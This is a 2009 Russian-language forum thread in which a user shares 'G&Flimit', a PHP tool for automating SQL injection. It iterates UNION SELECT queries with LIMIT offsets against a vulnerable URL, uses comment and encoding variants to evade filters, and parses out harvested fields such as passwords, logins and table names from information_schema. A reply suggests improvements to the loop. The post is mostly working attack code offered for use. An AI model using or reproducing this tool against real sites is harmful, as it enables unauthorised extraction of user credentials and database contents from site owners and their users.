G&Flimit - выборка полей или таблиц.

Discussion in 'PHP' started by Micr0b, 4 Mar 2009.

  1. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    G&Flimit ver.1.0
    Вполне есть анаголи, но хочу предуставить свой)
    Суть скрипта выборка полей или таблиц(при наличие Mysql>5).
    Для роботы достаточно заменить concat(0x2b7c,categor,0x7c2b) -> categor на нужное вам поле, ето может быть password, name, login или если ето выборка таблиц table_name, но напомню что нужно потом в url скули дописать from+information_schema.tables
    Как и у всех скриптов есть свои недостатки:
    для выборки нужно сначала узнать МАХ лимит та вписать в поле, но думаю когда будет время допишу.
    PHP:
    <?
    ////////////////////////////////////////////
    // Graber and Filters limit in sql-injection ver.1.0    //
    // Coder By Micr0b        //
    //        icq: 532-415                //
    ////////////////////////////////////////////
    ?>
    <html>
    <META http-equiv=Content-Type content="text/html; charset=windows-1251">
    <head><title>G&Flimit</title> 
    <style>
    body{
        margin: 200 150;
        background: #666;
        font: normal 13px Arial, Helvetica, sans-serif;
        color: #666;
    }
    table,td{ 
        border: 1px dashed #444444; 
        background-color : #F4F4F4; 
        font: 12px courier new; 
        color: #888888; 

    input,select{
        background-color: #000000; 
        font: 8pt verdana;
        text-align: left; 
        color: #669666; 

    </style>
    <body>
    <table>
        <tr>
            <td>
            <font color="green"><h2><center><u>G&Flimit</u> by Micr0b ver.1.0</center></h2></font>
            <form method="post">
            <input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4+from+categors" size="115">
            <select name="limit">
                <option selected value="+limit+">+limit+</option>
                <option value="%20limit%20">%20limit%20</option>
                <option value="/**/limit/**/">/**/limit/**/</option>
            </select>
            <font color="red">max(<input type="type" name="count" size="5">)</font>,1
            <select name="end">
                <option value="">null</option>
                <option selected value="/*">/*</option>
                <option value="--">--</option>
            </select>
    <!--        <select name="mysql5">
                <option selected value="">null</option>
                <option value="table_name">table_name+from+information_schema.tables</option>
                <option value="column_name">column_name+from+information_schema.columns+where+table_name='users'</option>
            </select>
    -->        
            <center>
            <input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false;}else{document.all.start.disabled=true;}">
            <input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer">
            </form>
            <br><br>
            <form method="POST">
            <input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center>
            </form>
            </td>
        </tr>
        <tr>
            <td>
    <?php
    if($_POST['start']){
    $limit=$_POST['limit'];
    $count=$_POST['count'];
    $url=$_POST['url'];
    $end=$_POST['end'];
    $fp=fopen("save.txt""w"); 
        for(
    $i=0;$i<$count;$i++){ // скільіки разів повторювати цикл
        
    $input=@file_get_contents($url.$limit.$i.",1".$end);
        
    fwrite($fp$input);
        }
    fclose ($fp);
    echo 
    "<font color='#669666'><center>Можете відфільтрувати! <b>save.txt</b></center></font>";
    }

    if(
    $_POST['musor']){
    $input=@file_get_contents("save.txt");
        
    $oprede "+|";
        
    $oprede2 "|+";
        
    preg_match_all('|'.preg_quote($oprede'/').'.*'.preg_quote($oprede2'/').'|s',$input,$out);// |+|/.*|+/|s
        
    $sd explode($oprede2,$out[0][0]);
        
    $cnt count($sd);
    $zapis=fopen("good.txt""a+"); 
        for (
    $i=0;$i<$cnt-1;$i++) {
        
    preg_match_all('|'.preg_quote($oprede'/').'.*|s',$sd[$i],$out1);
        
    $str str_replace($oprede,"",$out1[0][0]);
        
    fwrite($zapis$str."\n");
        }
    fclose ($zapis);
    echo 
    "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>";
    }
    ?>
    </body>
            </td>
        </tr>
    </table>
     
    #1 Micr0b, 4 Mar 2009
    Last edited: 4 Mar 2009
    1 person likes this.
  2. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
  3. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ну а почему не делать while с true и если значения между preg_match пустое не делать break? Или там значения какой то переменой флага увеличивать на 1 при пустом значении preg_match и когда оно достигнит например 5 не делать break и в while($flag=<5)?
     
    #3 AkyHa_MaTaTa, 4 Mar 2009
    Last edited: 4 Mar 2009